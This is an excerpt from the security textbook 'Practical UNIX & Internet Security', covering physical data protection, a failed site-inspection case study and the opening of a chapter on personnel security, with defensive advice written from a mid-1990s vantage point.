In recent years, businesses and universities have suffered a rash of RAM thefts. Thieves enter offices, open computers, and remove some or all of the computer's RAM. Many computer businesses and universities have also had major thefts of advanced processor chips.

RAM and late-model CPU chips are easily sold on the open market. They are untraceable. And, when thieves steal only some of the RAM inside a computer, many weeks or months may pass before the theft is noticed.

Remember, high-density RAM modules and processor cards are worth substantially more than their weight in gold. If a user complains that a computer is suddenly running more slowly than it did the day before, check its RAM, and then check to see that its case is physically secured.

12.2.6.1 Physically secure your computer

A variety of physical tie-down devices are available to bolt computers to tables or cabinets. Although they cannot prevent theft, they can make theft more difficult.

12.2.6.2 Encryption

If your computer is stolen, the information it contains will be at the mercy of the equipment's new "owners." They may erase it. Alternatively, they may read it. Sensitive information can be sold, used for blackmail, or used to compromise other computer systems.

You can never make something impossible to steal. But you can make stolen information virtually useless - provided that it is encrypted and that the thief does not know the encryption key. For this reason, even with the best computer-security mechanisms and physical deterrents, sensitive information should be encrypted using an encryption system that is difficult to break.[5] We recommend that you acquire and use a strong encryption system so that even if your computer is stolen, the sensitive information it contains will not be compromised.

[5] The UNIX crypt encryption program (described in Chapter 6, Cryptography) is trivial to break. Do not use it for information that is the least bit sensitive.

12.2.6.3 Portables

Portable computers present a special hazard. They are easily stolen, difficult to tie down (they then cease to be portable!), and often quite easily resold. Personnel with laptops should be trained to be especially vigilant in protecting their computers. In particular, theft of laptops in airports is a major problem.

Note that theft of laptops may not be motivated by greed (resale potential) alone. Often, competitive intelligence is more easily obtained by stealing a laptop with critical information than by hacking into a protected network. Thus, good encryption on a portable computer is critical. Unfortunately, this encryption makes the laptop a "munition" and difficult to legally remove from many countries (including the U.S.).[6]

[6] See Chapter 6 for more detail on this.

Different countries have different laws with respect to encryption, and many of these laws are currently in flux. In the United States, you cannot legally export computers containing cryptographic software: one solution to this problem is to use an encryption product that is manufactured and marketed outside, as well as inside, your country of origin. First encrypt the data before leaving, then remove the encryption software. After you arrive at your destination, obtain a copy of the same encryption software and reinstall it. (For the U.S. at least, you can legally bring the PC back into the country with the software in place.) But U.S. regulations currently have exemptions allowing U.S.-owned companies to transfer cryptographic software between their domestic and foreign offices. Furthermore, destination countries may have their own restrictions. Frankly, you may prefer to leave the portable at home!

12.2.6.4 Minimizing downtime

We hope your computer will never be stolen or damaged. But if it is, you should have a plan for immediately securing temporary computer equipment and for loading your backups onto the new systems. This plan is known as disaster recovery.

We recommend that you do the following:

  • Establish a plan for rapidly acquiring new equipment in the event of theft, fire, or equipment failure.

  • Test this plan by renting (or borrowing) a computer system and trying to restore your backups.

If you ask, you may discover that your computer dealer is willing to lend you a system that is faster than the original system, for the purpose of evaluation. There is probably no better way to evaluate a system than to load your backup tapes onto the system and see if they work. Be sure to delete and purge the computer's disk drives before returning them to your vendor.

12.2.7 Related Concerns

Beyond the items mentioned earlier, you may also wish to consider the impact on your computer center of the following:

  • Loss of phone service or networks. How will this impact your regular operations?

  • Vendor going bankrupt. How important is support? Can you move to another hardware or software system?

  • Significant absenteeism. Will this impact your ability to operate?

  • Death or incapacitation of key personnel. Can every member of your computer organization be replaced? What are the contingency plans?

Previous: 12.1 One Forgotten Threat | Practical UNIX & Internet Security | Next: 12.3 Protecting Data
12.1 One Forgotten Threat | Book Index | 12.3 Protecting Data


[Chapter 12] 12.3 Protecting Data

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 12.2 Protecting Computer Hardware Chapter 12
Physical Security 		Next: 12.4 Story: A Failed Site Inspection

12.3 Protecting Data

Obviously, as described above, there is a strong overlap between physical security and data privacy and integrity. Indeed, the goal of some attacks is not the physical destruction of your computer system but the penetration and removal (or copying) of the sensitive information it contains. This section explores several different types of attacks on data and discusses approaches for protecting against these attacks.

12.3.1 Eavesdropping

Electronic eavesdropping is perhaps the most sinister type of data piracy. Even with modest equipment, an eavesdropper can make a complete transcript of a victim's actions - every keystroke, and every piece of information viewed on a screen or sent to a printer. The victim, meanwhile, usually knows nothing of the attacker's presence, and blithely goes about his or her work, revealing not only sensitive information, but the passwords and procedures necessary for obtaining even more.

In many cases, you cannot possibly know if you're being monitored. Sometimes you will learn of an eavesdropper's presence when the attacker attempts to make use of the information obtained: often, by then, you cannot prevent significant damage. With care and vigilance, however, you can significantly decrease the risk of being monitored.

12.3.1.1 Wiretapping

By their very nature, electrical wires are prime candidates for eavesdropping (hence the name wiretapping). An attacker can follow an entire conversation over a pair of wires with a simple splice - sometimes he doesn't even have to touch the wires physically: a simple induction loop coiled around a terminal wire is enough to pick up most voice and RS-232 communications.

Here are some guidelines for preventing wiretapping:

  • Routinely inspect all wires that carry data (especially terminal wires and telephone lines used for modems) for physical damage.

  • Protect your wires from monitoring by using shielded cable. Armored cable provides additional protection.

  • If you are very security conscious, place your cables in steel conduit. In high-security applications, the conduit can be pressurized with gas; gas pressure monitors can be used to trip an alarm system in the event of tampering. However, these approaches are notoriously expensive to install and maintain.

12.3.1.2 Eavesdropping by Ethernet and 10Base-T

Because Ethernet and other local area networks are susceptible to eavesdropping, unused offices should not have live Ethernet or twisted-pair ports inside them.

You may wish to scan periodically all of the Internet numbers that have been allocated to your subnet to make sure that no unauthorized Internet hosts are operating on your network. You can also run LAN monitoring software and have alarms sound each time a packet is detected with a previously unknown Ethernet address.

Some 10Base-T hubs can be set to monitor the IP numbers of incoming packets. If a packet comes in from a computer connected to the hub that doesn't match what the hub has been told is correct, it can raise an alarm or shut down the link. This capability helps prevent various forms of Ethernet spoofing.

Increasingly, large organizations are turning to switched 10Base-T hubs. These hubs do not rebroadcast all traffic to all ports, as if they were on a shared Ethernet; instead, they determine the hardware address of each machine on each line, and only send a computer the packets that it should receive. Switching 10Base-T hubs are sold as a tool for increasing the capacity of 10Base-T networks, but they also improve the security of these networks by minimizing the potential for eavesdropping.

12.3.1.3 Eavesdropping by radio and using TEMPEST

Every piece of electrical equipment emits radiation in the form of radio waves. Using specialized equipment, one could analyze the emitted radiation generated by computer equipment and determine the calculations that caused the radiation to be emitted in the first place.

Radio eavesdropping is a special kind of tapping that security agencies (in the U.S., these agencies include the FBI, CIA, and NSA) are particularly concerned about. In the 1980s, a certification system called TEMPEST was developed in the U.S. to rate the susceptibility of computer equipment to such monitoring. Computers that are TEMPEST-certified are generally substantially less susceptible to radio monitoring than computers that are not, but they are usually more expensive and larger because of the extra shielding.

As an alternative to certifying individual computers, we can now TEMPEST-certify rooms or entire buildings. Several office buildings constructed in Maryland and northern Virginia are encased in a conductive skin that dampens radio emissions coming from within.

Although TEMPEST is not a concern for most computer users, the possibility of electronic eavesdropping by radio should not be discounted. Performing such eavesdropping is much easier than it would seem at first. For example, the original Heathkit H19 terminal transmitted a radio signal so strong that it could be picked up simply by placing an ordinary television set on the same table as the H19 terminal. All of the characters from the terminal's screen were plainly visible on the television set's screen. In another case, information from an H19 on one floor of a house could be read on a television placed on another floor.

12.3.1.4 Auxiliary ports on terminals

Many terminals are equipped with a printer port for use with an auxiliary printer. These printer ports can be used for eavesdropping if an attacker manages to connect a cable to them. We recommend that if you do not have an auxiliary printer, make sure that no other cables are connected to your terminal's printer port.

12.3.1.5 Fiber optic cable

A good type of physical protection is to use fiber optic media for a network. It is more difficult to tap into a fiber optic cable than it is to connect into an insulated coaxial cable (although an optical " vampire" tap exists that can tap a fiber optic network simply by clamping down on the cable). Successful taps often require cutting the fiber optic cable first, thus giving a clear indication that something is amiss. Fiber optic cabling is also less susceptible to signal interference and grounding. However, fiber is sometimes easier to break or damage, and more difficult to repair, than is standard coaxial cable.

12.3.2 Protecting Backups

Backups should be a prerequisite of any computer operation - secure or otherwise - but the information stored on backup tapes is extremely vulnerable. When the information is stored on a computer, the operating system's mechanisms of checks and protections prevents unauthorized people from viewing the data (and can possibly log failed attempts). After information is written onto a backup tape, anybody who has physical possession of the tape can read its contents.

For this reason, protect your backups at least as well as you normally protect your computers themselves.

Here are some guidelines for protecting your backups:

  • Don't leave backups hanging unattended in a computer room that is generally accessible. Somebody could take a backup and then have access to all of the files on your system.

  • Don't entrust backups to a messenger who is not bonded.

  • Sanitize backup tapes before you sell them, use them as scratch tapes, or otherwise dispose of them. (See Section 12.3.2.3, "Sanitize your media before disposal" later in this chapter.)

12.3.2.1 Verify your backups

You should periodically verify your backups to make sure they contain valid data. (See Chapter 7, Backups, for details.)

Verify backups that are months or years old in addition to backups that were made yesterday or the week before. Sometimes, backups in archives are slowly erased by environmental conditions. Magnetic tape is also susceptible to a process called print through, in which the magnetic domains on one piece of tape wound on a spool affects the next layer.

The only way to find out if this process is harming your backups is to test them periodically. You can also minimize print through by spinning your tapes to the end and then rewinding them, because the tape will not line back up in the same way when the tape is rewound. We recommend that at least once a year, you check a sample of your backup tapes to make sure that they contain valid data.

12.3.2.2 Protect your backups

Many of the hazards to computers mentioned in the first part of this chapter are equally hazardous to backups. To maximize the chances of your data surviving in the event of an accident or malicious incident, keep your computer system and your backups in different locations.

12.3.2.3 Sanitize your media before disposal

If you throw out your tapes, or any other piece of recording media, be sure that the data on the tapes has been completely erased. This process is called sanitizing.

Simply deleting a file that is on your hard disk doesn't delete the data associated with the file. Parts of the original data - and sometimes entire files - can usually be easily recovered. When you are disposing of old media, be sure to destroy the data itself, in addition to the directory entries.

Modern hard disks pose a unique problem for media sanitizing because of the large amount of hidden and reserved storage. A typical 1-gigabyte hard disk may have as much as 400 megabytes of additional storage; some of this storage is used for media testing and bad-block remapping, but much of it is unused during normal operations. With special software, you can access this reserved storage area; you could even install "hard disk viruses" that can reprogram a hard disk controller, take over the computer's peripheral bus and transfer data between two devices, or feed faulty data to the host computer. For these reasons, hard disks must be sanitized with special software that is specially written for each particular disk drive's model number and revision level.

If you are less security conscious, you can use a bulk eraser - a hand-held electromagnet that has a hefty field. Experiment with reading back the information stored on tapes that you have "bulk erased" until you know how much erasing is necessary to eliminate your data. But be careful: as the area of recording becomes smaller and smaller, modern hard disks are becoming remarkably resistant to external magnetic fields. Within a few years, even large, military degaussers will have no effect against high-density disk drive systems.

NOTE: Do not locate your bulk eraser near your disks or good tapes! Also beware of placing the eraser in another room, on the other side of a wall from your disks or tapes. People who have pacemakers should be warned not to approach the eraser.

As a last resort, you can physically destroy your backup tapes and disks before you throw them out. Unfortunately, physical destruction is getting harder and harder to do. While incinerators do a remarkably good job destroying tapes, stringent environmental regulations have forced many organizations to abandon this practice. Organizations have likewise had to give up acid baths. Until recently, crushing was preferred for hard disk drives and disk packs. But as disk densities get higher and higher, disk drives must be crushed into smaller and smaller pieces to frustrate laboratory analysis of the resulting material. As a result, physical destruction is losing in popularity when compared with software-based techniques for declassifying or sanitizing computer media.

If you are a system administrator, you have an additional responsibility to sanitize your backup tapes before you dispose of them. Although you may not think that any sensitive or confidential information is stored on the tapes, your users may have been storing such information without your knowledge.

One common sanitizing method involves overwriting the entire tape. If you are dealing with highly confidential or security-related materials, you may wish to overwrite the disk or tape several times, because data can be recovered from tapes that have been overwritten only once. Commonly, tapes are overwritten three times - once with blocks of 0s, then with blocks of 1s, and then with random numbers. Finally, the tape may be degaussed - or run through a bandsaw several times to reduce it to thousands of tiny pieces of plastic. We recommend that you thoroughly sanitize all media before disposal.

12.3.2.4 Backup encryption

Backup security can be substantially enhanced by encrypting the data stored on the backup tapes. Many Macintosh and PC backup packages provide for encrypting a backup set; some of these programs even use decent encryption algorithms. (Do not trust a backup system's encryption if the program's manufacturer refuses to disclose the algorithm.) Several tape drive manufacturers sell hardware that contains chips that automatically encrypt all data as it is written. We discuss the issue of encrypting your backups, in more detail, in Chapter 7.

NOTE: If you encrypt the backup of a filesystem and you forget the encryption key, the information stored on the backup will be unusable. This is why escrowing your own keys is important. (See the sidebar "A Note About Key Escrow".)

12.3.3 Other Media

In the last section, we discussed the importance of erasing magnetic media before disposing of it. However, that media is not the only material that should be carefully "sanitized" before disposal. Other material that may find its way into the trash may contain information that is useful to crackers or competitors. This includes printouts of software (including incomplete versions), memos, design documents, preliminary code, planning documents, internal newsletters, company phonebooks, manuals, and other material.

That some program printouts might be used against you is obvious, especially if enough are collected over time to derive a complete picture of your software development. If the code is commented well enough, it may also give away clues as to the identity of beta testers and customers, testing strategies, and marketing plans!

Other material may be used to derive information about company personnel and operations. With a company phone book, one could masquerade as an employee over the telephone and obtain sensitive information including dial-up numbers, account names, and passwords. Sound farfetched? Think again - there are numerous stories of such social engineering. The more internal information an outsider has, the more easily he can obtain sensitive information. By knowing the names, office numbers, and extensions of company officials and their staff, he can easily convince an overworked and undertrained operator that he needs to violate the written policy - or incur the wrath of the "vice president" - on the phone.

Other information that may find its way into your dumpster includes information on the types and versions of your operating systems and computers, serial numbers, patch levels, and other information. It may include hostnames, IP numbers, account names, and other information critical to an attacker. We have heard of some firms disposing of listings of their complete firewall configuration and filter rules - a gold mine for someone seeking to infiltrate the computers.

How will this information find its way into the wrong hands? Well, " dumpster diving" or " trashing" is one such way. After hours, someone intent on breaking your security could be rummaging through your dumpster, looking for useful information. In one case we heard recounted, a "diver" dressed up as a street person (letting his beard grow a bit and not bathing for a few days), splashed a little cheap booze on himself, half-filled a mesh bag with empty soda cans, and went to work. As he went from dumpster to dumpster in an industrial office park, he was effectively invisible: busy and well-paid executives seem to see through the homeless and unfortunate. If someone began to approach him, he would pluck invisible bugs from his shirt and talk loudly to himself. In the one case where he was accosted by a security guard, he was able to the convince the guard to let him continue looking for "cans" for spare change. He even panhandled the guard to give him $5 for a meal!

Perhaps you have your dumpster inside a guarded fence. But what happens after it is picked up by the trash hauler? Is it dumped where someone can go though the information off your premises?

Consider carefully the value of the information you throw away. Consider investing in shredders for each location where information of value might be thrown away. Educate your users not to dispose of sensitive material in their refuse at home, but to bring it in to be shredded. If your organization is large enough and local ordinances allow, you may also wish to incinerate some sensitive paper waste on-site.

12.3.4 Protecting Local Storage

In addition to computers and mass-storage systems, many other pieces of electrical data-processing equipment store information. For example, terminals, modems and laser printers often contain pieces of memory that may be downloaded and uploaded with appropriate control sequences.

Naturally, any piece of memory that is used to hold sensitive information presents a security problem, especially if that piece of memory is not protected with a password, encryption, or other similar mechanism. However, the local storage in many devices presents an additional security problem, because sensitive information is frequently copied into such local storage without the knowledge of the computer user.

12.3.4.1 Printer buffers

Computers can transmit information many times faster than most printers can print it. For this reason, printers are sometimes equipped with "printer spoolers" - boxes with semiconductor memory that receive information quickly from the computer and transmit it to the printer at a slower rate.

Many printer spoolers have the ability to make multiple copies of a document. Sometimes, this function is accomplished with a COPY button on the front of the printer spooler. Whenever the COPY button is pressed, a copy of everything that has been printed is sent to the printer for a second time. The security risk is obvious: if sensitive information is still in the printer's buffer, an attacker can use the COPY button to make a copy for himself.

Today, many high-speed laser printers are programmable and contain significant amounts of local storage. (Some laser printers have internal hard disks that can be used to store hundreds of megabytes of information.) Some of these printers can be programmed to store a copy of any document printed for later use. Other printers use the local storage as a buffer; unless the buffer is appropriately sanitized after printing, an attacker with sufficient skill can retrieve some or all of the contained data.

12.3.4.2 Printer output

One form of local storage you may not think of is the output of your workgroup printer. If the printer is located in a semi-public location, the output may be vulnerable to theft or copying before it is claimed. You should ensure that printers, plotters, and other output devices are located in a secured location. Fax machines face similar vulnerabilities.

12.3.4.3 Multiple screens

Today many "smart" terminals are equipped with multiple screens of memory. By pressing a PAGE-UP key (or a key that is similarly labeled), you can view information that has scrolled off the terminal's top line.

When a user logs out, the memory used to hold information that is scrolled off the screen is not necessarily cleared - even if the main screen is. Therefore, we recommend that you be sure, when you log out of a computer, that all of your terminal's screen memory is erased. You might have to send a control sequence or even turn off the terminal to erase its memory.

12.3.4.4 X terminals

Many X terminals have substantial amounts of local storage. Some X terminals even have hard disks that can be accessed from over the network.

Here are some guidelines for using X terminals securely:

  • If your users work with sensitive information, they should turn off their X terminals at the end of the day to clear the terminals' RAM memory.

  • If your X terminals have hard disks, you should be sure that the terminals are password protected so that they cannot be easily reprogrammed over the network. Do not allow service personnel to remove the X terminals for repair unless the disks are first removed and erased.

12.3.4.5 Function keys

Many smart terminals are equipped with function keys that can be programmed to send an arbitrary sequence of keystrokes to the computer whenever a function key is pressed. If a function key is used to store a password, then any person who has physical access to the terminal can impersonate the terminal's primary user. If a terminal is stolen, then the passwords are compromised. Therefore, we recommend that you never use function keys to store passwords or other kinds of sensitive information (such as cryptographic keys).

12.3.5 Unattended Terminals

Unattended terminals where users have left themselves logged in present a special attraction for vandals (as well as for computer crackers). A vandal can access the person's files with impunity. Alternatively, the vandal can use the person's account as a starting point for launching an attack against the computer system or the entire network: any tracing of the attack will usually point fingers back toward the account's owner, not to the vandal.

In particular, not only will this scenario allow someone to create a SUID shell of the user involved, and thus gain longer-term access to the account, but an untrained attacker could commit some email mayhem. Imagine someone sending email, as you, to the CEO or the Dean, making some lunatic and obscene suggestions? Or perhaps email to whitehouse.gov with a threat against the President?[7] Hence, you should never leave terminals unattended for more than short periods of time.

[7] Don't even think about doing this yourself! The Secret Service investigates each and every threat against the President, the President's family, and certain other officials. They take such threats very seriously, and they are not known for their senses of humor. They are also very skilled at tracing down the real culprit in such incidents - we know from observing their work on a number of occasions. These threats simply aren't funny - especially if you end up facing Federal criminal charges as a result.

Some versions of UNIX have the ability to log a user off automatically - or at least to blank his screen and lock his keyboard - when the user's terminal has been idle for more than a few minutes.

12.3.5.1 Built-in shell autologout

If you use the C shell, you can use the autologout shell variable to log you out automatically after you have been idle for a specified number of minutes.[8] Normally, this variable is set in your ~/.cshrc file.

[8] The autologout variable is not available under all versions of the C shell.

For example, if you wish to be logged out automatically after you have been idle for 10 minutes, place this line in your ~/.cshrc file:

set autologout=10

Note that the C shell will log you out only if you idle at the C shell's command prompt. If you are idle within an application, such as a word processor, you will remain logged in.

The ksh has a TMOUT variable that performs a similar function. TMOUT is specified in seconds:

TMOUT=600

12.3.5.2 X screen savers

If you use the X Window System, you may wish to use a screen saver that automatically locks your workstation after the keyboard and mouse have been inactive for more than a predetermined number of minutes.

There are many screen savers to chose from. XScreensaver was originally written by the Student Information Processing Board at MIT. New versions are periodically posted to the Usenet newsgroup comp.sources.x and are archived on the computer ftp.uu.net. Another screen saver is xautolock. In addition, HP VUE and the COSE Desktop comes with an automatic screen locker. AIX includes a utility called xss that automatically locks X screens.

NOTE: Many vendor-supplied screen savers respond to built-in passwords in addition to the user's passwords. The UNIX lock program, for example, previously unlocked the user's terminal if somebody typed hasta la vista - and this fact was undocumented in the manual. Unless you have the source code for a program, there is no way to determine whether it has a back door of any kind, although you can find simple-minded ones by scanning the program with the strings command. You would be better off using a vendor-supplied locking tool rather than leaving your terminal unattended, and unlocked, while you go for coffee. But be attentive, and beware.

12.3.6 Key Switches

Some kinds of computers have key switches on their front panels that can be used to prevent the system from being rebooted in single-user mode. Some computers also have ROM monitors that prevent the system from being rebooted in single-user mode without a password.

Key switches and ROM monitor passwords provide additional security and should be used when possible. However, you should also remember that any computer can be unplugged. The most important way to protect a computer is to restrict physical access to that computer.

Previous: 12.2 Protecting Computer Hardware | Practical UNIX & Internet Security | Next: 12.4 Story: A Failed Site Inspection
12.2 Protecting Computer Hardware | Book Index | 12.4 Story: A Failed Site Inspection


[Chapter 12] 12.4 Story: A Failed Site Inspection

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 12.3 Protecting Data Chapter 12
Physical Security 		Next: 13. Personnel Security

12.4 Story: A Failed Site Inspection

Catherine Aird, as quoted in the Quote of the Day mailing list (qotd-request@ensu.ucalgary.edu), wrote: "If...you can't be a good example, then you'll just have to be a horrible warning."

Recently, a consumer-products firm with world-wide operations invited one of the authors to a casual tour of one of the company's main sites. The site, located in an office park with several large buildings, included computers for product design and testing, nationwide management of inventory, sales, and customer support. It included a sophisticated, automated voice-response system costing thousands of dollars a month to operate; hundreds of users; and dozens of T1 (1.44 Mbits/sec) communications lines for the corporate network, carrying both voice and data communications.

The company thought that it had reasonable security - given the fact that it didn't have anything to lose. After all, the firm was in the consumer-products business. No government secrets or high-stakes stock and bond trading here.

12.4.1 What We Found ...

After our inspection, the company had some second thoughts about its security. Even without a formal site audit, the following items were discovered during our short visit.

12.4.1.1 Fire hazards

  • All of the company's terminal and network cables were suspended from hangers above false ceilings throughout the buildings. Although smoke detectors and sprinklers were located below the false ceiling, none were located above, where the cables were located. If there were a short or an electrical fire, it could spread throughout a substantial portion of the wiring plant and be very difficult, if not impossible, to control. No internal firestops had been built for the wiring channels, either.

  • Several of the fire extinguishers scattered throughout the building had no inspection tags, or were shown as being overdue for an inspection.

12.4.1.2 Potential for eavesdropping and data theft

  • Network taps throughout the buildings were live and unprotected. An attacker with a laptop computer could easily penetrate and monitor the network; alternatively, with a pair of scissors or wirecutters, an attacker could disable portions of the corporate network.

  • An attacker could get above the false ceiling through conference rooms, bathrooms, janitor's closets, and many other locations throughout the building, thereby gaining direct access to the company's network cables. A monitoring station (possibly equipped with a small radio transmitter) could be left in such a location for an extended period of time.

  • Many of the unused cubicles had machines that were not assigned to a particular user, but were nevertheless live on the network. An attacker could sit down at a machine, gain system privileges, and use that machine as a point for further attacks against the information infrastructure.

  • The company had no controls or policies on modems, thus allowing any user to set up a private SLIP or PPP connection to bypass the firewall.

  • Several important systems had their backup tapes unprotected, left on a nearby table or shelf.

12.4.1.3 Easy pickings

  • None of the equipment had any inventory-control stickers or permanent markings. If the equipment were stolen, it would not be recoverable.

  • There was no central inventory of equipment. If items were lost, stolen, or damaged, there was no way to determine the extent and nature of the loss.

  • Only one door to the building had an actual guard in place. People could enter and leave with equipment through other doors.

  • When we arrived outside a back door with our hands full, a helpful employee opened the door and held it for us without requesting ID or proof that we should be allowed inside.

  • Strangers walking about the building were not challenged. Employees did not wear tags and apparently made the assumption that anybody on the premises was authorized to be there.

12.4.1.4 Physical access to critical computers

  • Internal rooms with particularly sensitive equipment did not have locks on the doors.

  • Although the main computer room was protected with a card key entry system, entry could be gained from an adjacent conference room or hallway under the raised floor.

  • Many special-purpose systems were located in workrooms without locks on the doors. When users were not present, the machines were unmonitored and unprotected.

12.4.1.5 Possibilities for sabotage

  • The network between two buildings consisted of a bidirectional, fault-tolerant ring network. But the fault tolerance was compromised because both fibers were routed through the same, unprotected conduit.

  • The conduit between two buildings could be accessed through an unlocked manhole in the parking lot. An attacker located outside the buildings could easily shut down the entire network with heavy cable cutters or a small incendiary device.

12.4.2 "Nothing to Lose?"

Simply by walking through this company's base of operations, we discovered that this company would be an easy target for many attacks - both complicated and primitive. The attacker might be a corporate spy for a competing firm, or might simply be a disgruntled employee. Given the ease of stealing computer equipment, the company also had reason to fear less-than-honest employees. Without adequate inventory or other controls, the company might not be able to discover and prove any wide-scale fraud, nor would they be able to recover insurance in the event of any loss.

Furthermore, despite the fact that the company thought that it had "nothing to lose," an internal estimate had put the cost of computer downtime at several million dollars per hour because of its use in customer-service management, order processing, and parts management. An employee, out for revenge or personal gain, could easily put a serious dent into this company's bottom line with a small expenditure of effort, and little chance of being caught.

Indeed, the company had a lot to lose.

What about your site?

Previous: 12.3 Protecting Data | Practical UNIX & Internet Security | Next: 13. Personnel Security
12.3 Protecting Data | Book Index | 13. Personnel Security


[Chapter 13] Personnel Security

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 12.4 Story: A Failed Site Inspection Chapter 13 Next: 13.2 On the Job

13. Personnel Security

Contents:
Background Checks
On the Job
Outsiders

Consider a few recent incidents that made the news:

  • Nick Leeson, an investment trader at the Barings Bank office in Singapore, and Toshihide Iguchi of the Daiwa Bank office in New York City each made risky investments and lost substantial amounts of their bank's funds. Rather than admit to the losses, each of them altered computer records and effectively gambled more money to recoup the losses. Eventually, both were discovered after each bank lost more than one billion dollars. As a result, Barings was forced into insolvency, and Daiwa may not be allowed to operate in the United States in the future.

  • In the U.S., personnel with the CIA and armed forces with high-security clearances (Aldrich Ames, Jonathon Pollard, and Robert Walker) were discovered to have been passing classified information to Russia and to Israel. Despite several special controls for security, these individuals were able to commit damaging acts of espionage.

If you examine these cases and the vast number of computer security violations committed over the past few decades, you will find one common characteristic: 100% of them were caused by people. Break-ins were caused by people. Computer viruses were written by people. Passwords were stolen by people. Without people, we wouldn't have computer security problems! However, we continue to have people involved with computers, so we need to be concerned with personnel security.

"Personnel security" is everything involving employees: hiring them, training them, monitoring their behavior, and sometimes, handling their departure. Statistics show that the most common perpetrators of significant computer crime are those people who have legitimate access now, or who have recently had access; some studies show that over 80% of incidents are caused by these individuals. Thus, managing personnel with privileged access is an important part of a good security plan.

People are involved in computer security problems in two ways. Some people unwittingly aid in the commission of security incidents by failing to follow proper procedure, by forgetting security considerations, and by not understanding what they are doing. Other people knowingly violate controls and procedures to cause or aid an incident. As we have noted earlier, the people who knowingly contribute to your security problems are most often your own users (or recent users): they are the ones who know the controls, and know what information of value may be present.

You are likely to encounter both kinds of individuals in the course of administering a UNIX system. The controls and mechanisms involved in personnel security are many and varied. Discussions of all of them could fill an entire book, so we'll simply summarize some of the major considerations.

13.1 Background Checks

When you hire new employees, check their backgrounds. You may have candidates fill out application forms, but then what do you do? At the least, you should check all references given by each applicant to determine his past record, including reasons why he left those positions. Be certain to verify the dates of employment, and check any gaps in the record. One story we heard involved an applicant who had an eight-year gap in his record entitled "independent consulting." Further research revealed that this "consulting" was being conducted from inside a Federal prison cell - something the applicant had failed to disclose, no doubt because it was the result of a conviction for computer-based fraud.

You should also verify any claims of educational achievement and certification: stories abound of individuals who have claimed to have earned graduate degrees from prestigious universities - universities that have no records of those individuals ever completing a class. Other cases involve degrees from "universities" that are little more than a post office box.

Consider that an applicant who lies to get a job with you is not establishing a good foundation for future trust.

In some instances you may want to make more intensive investigations of the character and background of the candidates. You may want to:

  • Have an investigation agency do a background check.

  • Get a criminal record check of the individual.

  • Check the applicant's credit record for evidence of large personal debt and the inability to pay it. Discuss problems, if you find them, with the applicant. People who are in debt should not be denied jobs: if they are, they will never be able to regain solvency. At the same time, employees who are under financial strain may be more likely to act improperly.

  • Conduct a polygraph examination of the applicant (if legal).

  • Ask the applicant to obtain bonding for his position.

In general, we don't recommend these steps for hiring every employee. However, you should conduct extra checks of any employee who will be in a position of trust or privileged access - including maintenance and cleaning personnel.

We also suggest that you inform the applicant that you are performing these checks, and obtain his or her consent. This courtesy will make the checks easier to perform and will put the applicant on notice that you are serious about your precautions.

Previous: 12.4 Story: A Failed Site Inspection | Practical UNIX & Internet Security | Next: 13.2 On the Job
12.4 Story: A Failed Site Inspection | Book Index | 13.2 On the Job


[Chapter 13] 13.2 On the Job

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 13.1 Background Checks Chapter 13
Personnel Security 		Next: 13.3 Outsiders

13.2 On the Job

Your security concerns with an employee should not stop after that person is hired.

13.2.1 Initial Training

Every potential computer user should undergo fundamental education in security policy as a matter of course. At the least, this education should include procedures for password selection and use, physical access to computers, backup procedures, dial-in policies, and the policies for divulging information over the telephone. Executives should not be excluded from these classes because of their status - they are as likely (or more likely) as other personnel to pick poor passwords and commit other errors. They, too, must demonstrate their commitment to security: security consciousness flows from the top down, not the other way.

Education should include written materials and a copy of the computer-use policy. The education should include discussion of appropriate and inappropriate use of the computers and networks, personal use of computing equipment (during and after hours), policy on ownership and use of electronic mail, and policies on the import and export of software and papers. Penalties for violations of these policies should also be detailed.

All users should sign a form acknowledging the receipt of this information, and their acceptance of its restrictions. These forms should be retained. Later, if any question arises as to whether the employee was given prior warning about what was allowed, there will be proof.

13.2.2 Ongoing Training and Awareness

Periodically, users should be presented with refresher information about security and appropriate use of the computers. This retraining is an opportunity to explain good practice, remind users of current threats and their consequences, and provide a forum to air questions and concerns.

Your staff should also be given adequate opportunities for ongoing training. This training should include support to attend professional conferences and seminars, to subscribe to professional and trade periodicals, and to obtain reference books and other training materials. Your staff must also be given sufficient time to make use of the material, and positive incentives to master it.

Coupled with periodic education, you may wish to employ various methods of continuing awareness. These methods could include putting up posters or notices about good practice,[1] having periodic messages of the day with tips and reminders, having an "Awareness Day" every few months, or having other events to keep security from fading into the background.

[1] If you do this, change them periodically. A poster or notice that has not changed in many months becomes invisible.

Of course, the nature of your organization, the level of threat and possible loss, and the size and nature of your user population should all be factored into your plans. The cost of awareness activities should also be considered and budgeted in advance.

13.2.3 Performance Reviews and Monitoring

The performance of your staff should be reviewed periodically. In particular, the staff should be given credit and rewarded for professional growth and good practice. At the same time, problems should be identified and addressed in a constructive manner. You must encourage staff members to increase their abilities and enhance their understanding.

You also want to avoid creating situations in which staff members feel overworked, underappreciated, or ignored. Creating such a working environment can lead to carelessness and a lack of interest in protecting the interests of the organization. The staff could also leave for better opportunities. Or worse, the staff could become involved in acts of disruption as a matter of revenge. Overtime must be an exception and not the rule, and all employees-especially those in critical positions-must be given adequate holiday and vacation time.

In general, users with privileges should be monitored for signs of excessive stress, personal problems, or other indications of difficulties. Identifying such problems and providing help, where possible, is at the very least humane. Such practice is also a way to preserve valuable resources - the users themselves, and the resources to which they have access. A user under considerable financial or personal stress might spontaneously take some action that he would never consider under more normal situations...and that action might be damaging to your operations.

13.2.4 Auditing Access

Ensure that auditing of access to equipment and data is enabled, and is monitored. Furthermore, ensure that anyone with such access knows that auditing is enabled. Many instances of computer abuse are spontaneous in nature. If a possible malefactor knows that the activity and access are logged, he might be discouraged in his actions.

13.2.5 Least Privilege and Separation of Duties

Consider carefully the time-tested principles of least privilege and separation of duties. These should be employed wherever practical in your operations.

Least privilege

This principle states that you give each person the minimum access necessary to do his or her job. This restricted access is both logical (access to accounts, networks, programs) and physical (access to computers, backup tapes, and other peripherals). If every user has accounts on every system and has physical access to everything, then all users are roughly equivalent in level of threat.

Separation of duties

